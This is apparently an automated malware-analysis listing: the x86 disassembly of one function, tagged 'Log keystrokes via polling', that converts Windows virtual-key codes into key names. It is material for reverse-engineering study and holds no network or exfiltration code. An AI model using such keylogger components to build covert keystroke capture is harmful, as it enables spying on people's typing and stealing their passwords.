Function at 0x404280
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x483008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
lea eax, [edx - 1]
mov dword [ebp - 0x108], esi
mov dword [ebp - 0x108], esi
cmp eax, 0xfd
ja case.0x4042b7.3
movzx eax, byte [eax + 0x4058c8]
jmp dword [eax*4 + 0x40565c]
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 0x11
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.Left_Mouse_Button
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 0x12
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.Right_Mouse_Button
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 0x13
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.Middle_Mouse_Button
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 0xf
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.X1_Mouse_Button
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 0xf
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.X2_Mouse_Button
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 9
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.Backspace
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 3
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x440888
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 5
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.Clear
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 5
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.Enter
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 5
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.Shift
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 4
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.Ctrl
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 3
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x4408ac
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 5
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.Pause
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 9
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.Caps_Lock
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 6
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.Escape
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 5
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.Space
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 7
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.Page_Up
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 9
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.Page_Down
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 3
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x4408e8
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 4
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.Home
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 0xa
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.Left_Arrow
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 8
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.Up_Arrow
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 0xb
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.Right_Arrow
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 0xa
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.Down_Arrow
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 6
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.Select
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 5
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.Print
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 7
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.Execute
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 0xc
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.Print_Screen
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 6
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.Insert
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 6
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.Delete
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 4
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.Help
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 1
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.0123456789ABDEFGHIJKLMNOPQRSTUVWXYZ
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 1
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x440968
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 1
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x44096c
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 1
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x440970
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 1
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x440974
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 1
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x440978
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 1
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x44097c
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 1
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x440980
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 1
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x440984
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 1
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x440988
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 1
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x44098c
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 1
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x440990
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 1
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x440624
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 1
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x440994
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 1
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x440998
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 1
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x44099c
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 1
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x4409a0
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 1
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x4409a4
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 1
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x4409a8
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 1
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x4409ac
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 1
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x4409b0
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 1
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x4409b4
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 1
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x4409b8
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 1
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x4409bc
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 1
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x4409c0
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 1
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x4409c4
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 1
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x4409c8
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 1
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x4409cc
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 1
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x4409d0
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 1
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x4409d4
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 1
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x4409d8
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 1
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x4409dc
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 1
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x4409e0
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 1
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x4409e4
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 1
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x4409e8
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 1
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x4409ec
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 0x10
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x4409f0
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 0x11
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.Right_Windows_Key
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 8
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.Apps_Key
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 5
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x440a24
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 8
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.Numpad_0
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 8
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.Numpad_1
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 8
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.Numpad_2
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 8
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.Numpad_3
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 8
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.Numpad_4
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 8
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.Numpad_5
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 8
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.Numpad_6
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 8
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.Numpad_7
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 8
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.Numpad_8
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 8
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.Numpad_9
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 8
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.Multiply
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 3
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x440ab0
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 9
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.Separator
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 8
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.Subtract
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 7
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.Decimal
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 6
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.Divide
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 2
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x440adc
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 2
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x440ae0
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 2
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x440ae4
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 2
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x440ae8
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 2
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x440aec
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 2
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x440af0
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 2
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x440af4
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 2
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x440af8
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 2
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x440afc
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 3
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x440b00
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 3
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x440b04
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 3
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x440b08
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 3
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x440b0c
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 3
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x440b10
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 3
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x440b14
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 3
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x440b18
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 3
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x440b1c
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 3
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x440b20
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 3
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x440b24
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 3
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x440b28
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 3
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x440b2c
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 3
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x440b30
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 3
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x440b34
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 3
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x440b38
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 8
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.Num_Lock
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 0xb
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.Scroll_Lock
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 2
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x440b54
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 2
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x440b58
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 1
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x440b5c
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 1
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x440b60
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 1
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x440628
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 2
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x440b64
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 2
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x440b68
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 2
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x440b6c
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 2
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x440b70
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 2
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x440b74
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 2
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x440b78
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 5
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.OEM_8
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 2
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x440b84
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 7
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.OEM_102
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 8
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.ICO_HELP
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 6
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.ICO_00
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 0xa
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.PROCESSKEY
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 9
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.ICO_CLEAR
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 6
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.PACKET
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 9
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.OEM_RESET
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 8
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.OEM_JUMP
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 7
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.OEM_PA1
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 7
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.OEM_PA2
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 7
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.OEM_PA3
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 0xa
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.OEM_WSCTRL
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 9
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.OEM_CUSEL
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 8
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.OEM_ATTN
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 0xa
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.OEM_FINISH
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 8
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.OEM_COPY
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 8
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.OEM_AUTO
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 8
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.OEM_ENLW
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 0xb
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.OEM_BACKTAB
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 4
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.Attn
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 5
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.CrSel
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 5
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.ExSel
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 9
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.Erase_EOF
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 4
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.Play
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 4
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.Zoom
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 6
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.Noname
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 3
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x440c90
jmp 0x405643
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 9
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push str.OEM_CLEAR
jmp 0x405643
push 0x100
lea eax, [ebp - 0x104]
shl edx, 0x10
push eax
push edx
call dword [sym.imp.USER32.dll_GetKeyNameTextA]
xorps xmm0, xmm0
lea ecx, [ebp - 0x104]
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
lea edx, [ecx + 1]
mov dword [esi + 0x14], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x405630
sub ecx, edx
lea eax, [ebp - 0x104]
push ecx
push eax
mov ecx, esi
call fcn.0040ba90
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0043d625
mov esp, ebp
pop ebp
ret